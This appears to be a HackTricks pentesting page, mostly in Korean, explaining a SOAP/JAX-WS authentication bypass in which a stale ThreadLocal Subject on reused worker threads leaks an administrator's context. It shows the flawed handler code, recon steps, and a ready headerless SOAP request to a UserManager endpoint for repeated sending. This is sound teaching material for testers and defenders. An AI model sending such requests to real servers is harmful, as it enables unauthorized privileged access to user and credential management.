SOAP/JAX-WS ThreadLocal Authentication Bypass

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์š”์•ฝ

  • ์ผ๋ถ€ ๋ฏธ๋“ค์›จ์–ด ์ฒด์ธ์€ ์ธ์ฆ๋œ Subject/Principal์„ static ThreadLocal์— ์ €์žฅํ•˜๊ณ , ๋…์ ์ ์ธ SOAP ํ—ค๋”๊ฐ€ ๋„์ฐฉํ•  ๋•Œ๋งŒ ์ด๋ฅผ ๊ฐฑ์‹ ํ•ฉ๋‹ˆ๋‹ค.
  • WebLogic/JBoss/GlassFish๋Š” ์›Œ์ปค ์Šค๋ ˆ๋“œ๋ฅผ ์žฌ์‚ฌ์šฉํ•˜๊ธฐ ๋•Œ๋ฌธ์—, ํ•ด๋‹น ํ—ค๋”๋ฅผ ์ƒ๋žตํ•˜๋ฉด ๊ทธ ์Šค๋ ˆ๋“œ๊ฐ€ ์ฒ˜๋ฆฌํ–ˆ๋˜ ๋งˆ์ง€๋ง‰ ํŠน๊ถŒ Subject๊ฐ€ ์•„๋ฌด๋Ÿฐ ๊ฒฝ๊ณ  ์—†์ด ์žฌ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.
  • ์ทจ์•ฝํ•œ ์—”๋“œํฌ์ธํŠธ๋ฅผ ํ—ค๋” ์—†์ด ์ž˜ ํ˜•์‹ํ™”๋œ SOAP ๋ฐ”๋””๋กœ ๋ฐ˜๋ณต ๊ณต๊ฒฉํ•˜์—ฌ ์žฌ์‚ฌ์šฉ๋œ ์Šค๋ ˆ๋“œ๊ฐ€ ํƒˆ์ทจ๋œ ๊ด€๋ฆฌ์ž ์ปจํ…์ŠคํŠธ๋ฅผ ๋ถ€์—ฌํ•  ๋•Œ๊นŒ์ง€ ์‹œ๋„ํ•˜์„ธ์š”.

๊ทผ๋ณธ ์›์ธ

๋‹ค์Œ๊ณผ ์œ ์‚ฌํ•œ ํ•ธ๋“ค๋Ÿฌ๋Š” ์ปค์Šคํ…€ ํ—ค๋”๊ฐ€ ์กด์žฌํ•  ๋•Œ๋งŒ ์Šค๋ ˆ๋“œ ๋กœ์ปฌ ์‹๋ณ„์ž๋ฅผ ๋ฎ์–ด์“ฐ๋ฏ€๋กœ ์ด์ „ ์š”์ฒญ์˜ ์ปจํ…์ŠคํŠธ๊ฐ€ ๋‚จ์•„ ์žˆ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค:

public boolean handleMessage(SOAPMessageContext ctx) {
if (!outbound) {
SOAPHeader hdr = ctx.getMessage().getSOAPPart().getEnvelope().getHeader();
SOAPHeaderElement e = findHeader(hdr, subjectName);
if (e != null) {
SubjectHolder.setSubject(unmarshal(e));
}
}
return true;
}

Recon

  1. reverse proxy / routing rules์„ ์—ด๊ฑฐํ•˜์—ฌ ์ˆจ๊ฒจ์ง„ SOAP ํŠธ๋ฆฌ๋ฅผ ์ฐพ์•„๋ผ. ์ด ํŠธ๋ฆฌ๋Š” ?wsdl๋ฅผ ์ฐจ๋‹จํ•˜์ง€๋งŒ POSTs๋ฅผ ํ—ˆ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค(์ด๋ฅผ 80,443 - Pentesting Web Methodology์˜ ํ๋ฆ„๊ณผ ํ•จ๊ป˜ ๋งคํ•‘ํ•˜๋ผ).
  2. EAR/WAR/EJB ์•„ํ‹ฐํŒฉํŠธ๋ฅผ ํ’€๊ณ (unzip *.ear) application.xml, web.xml, @WebService annotations, ๊ทธ๋ฆฌ๊ณ  handler chains(์˜ˆ: LoginHandlerChain.xml)์„ ๊ฒ€์‚ฌํ•˜์—ฌ handler class, SOAP header QName, ๋ฐ backing EJB ์ด๋ฆ„์„ ๋ฐํ˜€๋ผ.
  3. ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ๊ฐ€ ์—†์œผ๋ฉด ServiceName?wsdl ๊ฒฝ๋กœ๋ฅผ brute-force ํ•˜๊ฑฐ๋‚˜ ์ž„์‹œ๋กœ lab proxies๋ฅผ ์™„ํ™”ํ•œ ํ›„, ๋ณต๊ตฌํ•œ WSDL์„ Burp Suite Wsdler์— ์ž„ํฌํŠธํ•ด baseline envelopes๋ฅผ ์ƒ์„ฑํ•˜๋ผ.
  4. handler ์†Œ์Šค์—์„œ ThreadLocal๋กœ ์œ ์ง€๋˜๋Š” ๊ฐ์ฒด๋“ค(์˜ˆ: SubjectHolder.setSubject())์ด ์ธ์ฆ ํ—ค๋”๊ฐ€ ์—†๊ฑฐ๋‚˜ ์ž˜๋ชป๋˜์—ˆ์„ ๋•Œ ์ „ํ˜€ clear๋˜์ง€ ์•Š๋Š”์ง€ ๊ฒ€ํ† ํ•˜๋ผ.

Exploitation

  1. ์ •์ƒ ์‘๋‹ต ์ฝ”๋“œ์™€ invalid token์— ๋Œ€ํ•ด ์–ด๋–ค ์˜ค๋ฅ˜๊ฐ€ ๋ฐ˜ํ™˜๋˜๋Š”์ง€ ํŒŒ์•…ํ•˜๋ ค๋ฉด proprietary header๋ฅผ ํฌํ•จํ•œ ์œ ํšจํ•œ ์š”์ฒญ์„ ์ „์†กํ•˜๋ผ.
  2. ๋™์ผํ•œ SOAP body๋ฅผ ํ—ค๋” ์—†์ด ๋‹ค์‹œ ์ „์†กํ•˜๋ผ. XML์„ well-formedํ•˜๊ฒŒ ์œ ์ง€ํ•˜๊ณ  required namespaces๋ฅผ ์ค€์ˆ˜ํ•˜์—ฌ handler๊ฐ€ ์ •์ƒ์ ์œผ๋กœ ์ข…๋ฃŒ๋˜๋„๋ก ํ•˜๋ผ.
  3. ์š”์ฒญ์„ ๋ฐ˜๋ณต ์ „์†กํ•˜๋ผ; ์ด์ „์— privileged action์„ ์‹คํ–‰ํ–ˆ๋˜ ์Šค๋ ˆ๋“œ์— ๋„๋‹ฌํ•˜๋ฉด ์žฌ์‚ฌ์šฉ๋œ Subject๊ฐ€ user ๋˜๋Š” credential managers์™€ ๊ฐ™์€ ๋ณดํ˜ธ๋œ ์ž‘์—…์„ ํ•ด์ œํ•œ๋‹ค.
POST /ac-iasp-backend-jaxws/UserManager HTTP/1.1
Host: target
Content-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:jax="http://jaxws.user.frontend.iasp.service.actividentity.com">
<soapenv:Header/>
<soapenv:Body>
<jax:findUserIds>
<arg0></arg0>
<arg1>spl*</arg1>
</jax:findUserIds>
</soapenv:Body>
</soapenv:Envelope>

๋ฒ„๊ทธ ๊ฒ€์ฆ

  • JDWP (-agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n) ๋˜๋Š” ์œ ์‚ฌํ•œ ๋””๋ฒ„๊น… ํ›…์„ ์—ฐ๊ฒฐํ•˜์—ฌ ๊ฐ ํ˜ธ์ถœ ์ „ํ›„์˜ ThreadLocal ๋‚ด์šฉ์„ ๊ด€์ฐฐํ•˜๊ณ , ์ธ์ฆ๋˜์ง€ ์•Š์€ ์š”์ฒญ์ด ์ด์ „ ๊ด€๋ฆฌ์ž Subject๋ฅผ ์ƒ์†๋ฐ›์•˜๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”.

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ